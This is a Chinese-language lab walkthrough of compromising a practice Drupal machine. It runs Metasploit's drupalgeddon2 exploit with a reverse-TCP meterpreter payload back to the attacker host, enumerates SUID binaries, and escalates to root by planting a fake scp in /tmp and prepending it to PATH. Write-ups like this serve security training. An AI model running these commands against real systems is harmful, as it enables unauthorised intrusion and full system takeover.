一、实验环境
- 靶机:ip暂未知
- 攻击机kali:192.168.0.150
二、实验过程
1.主机发现
扫描,发现靶机ip192.168.0.103
2.扫描端口
开放22、80、111、8080端口;linux系统
3.访问网页
看到是“Drupal”框架大搭起来的网站
4.Drupal漏洞
我们可以用msf5来搜索漏洞,依次输入以下命令
┌──(root💀kali)-[~/桌面]
└─# msfconsole
msf6 > search Drupal
msf6 > use exploit/unix/webapp/drupal_drupalgeddon2
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set RHOST 192.168.0.103
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set Payload php/meterpreter/reverse_tcp
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > set LHOST 192.168.0.150
msf6 exploit(unix/webapp/drupal_drupalgeddon2) > exploit
获得shell
5.提权
5.1上传脚本运行将meterpreter shell转为反弹shell
下载地址:https://github.com/rebootuser/LinEnum
meterpreter > upload /root/LinEnum.sh /tmp/
[*] uploading : /root/LinEnum.sh -> /tmp/
[*] uploaded : /root/LinEnum.sh -> /tmp//LinEnum.sh
meterpreter > shell
Process 2208 created.
Channel 1 created.
5.2在根目录下,寻找可提权程序
find / -perm -u=s -type f 2>/dev/null
发现/opt/s符合条件
5.3strings查看
发现s会调用scp命令,并且为root权限。
在/tmp目录下建立scp文件,赋予可执行权限,把它添加到环境变量中,这样执行/opt/s时,运行到scp时,就会执行我们在/tmp目录下建立的scp。
写下scp,赋予权限
echo '/bin/bash' > /tmp/scp
chmod +x /tmp/scp
查看$PATH,把“/tmp”添加进变量
PATH=/tmp:$PATH
运行/opt/s;注意这里不用"./"直接文件名就运行
三、实验总结
(1)MSF需熟悉应用,直接搜索漏洞,也有写好的exploit脚本
(2)meterpreter shell的实现,meterperter命令,包括meterperter shell转反弹shell
(3)$PATH决定了shell将到那些目录中寻找命令或程序,修改$PATH是scp命令实现运行的关键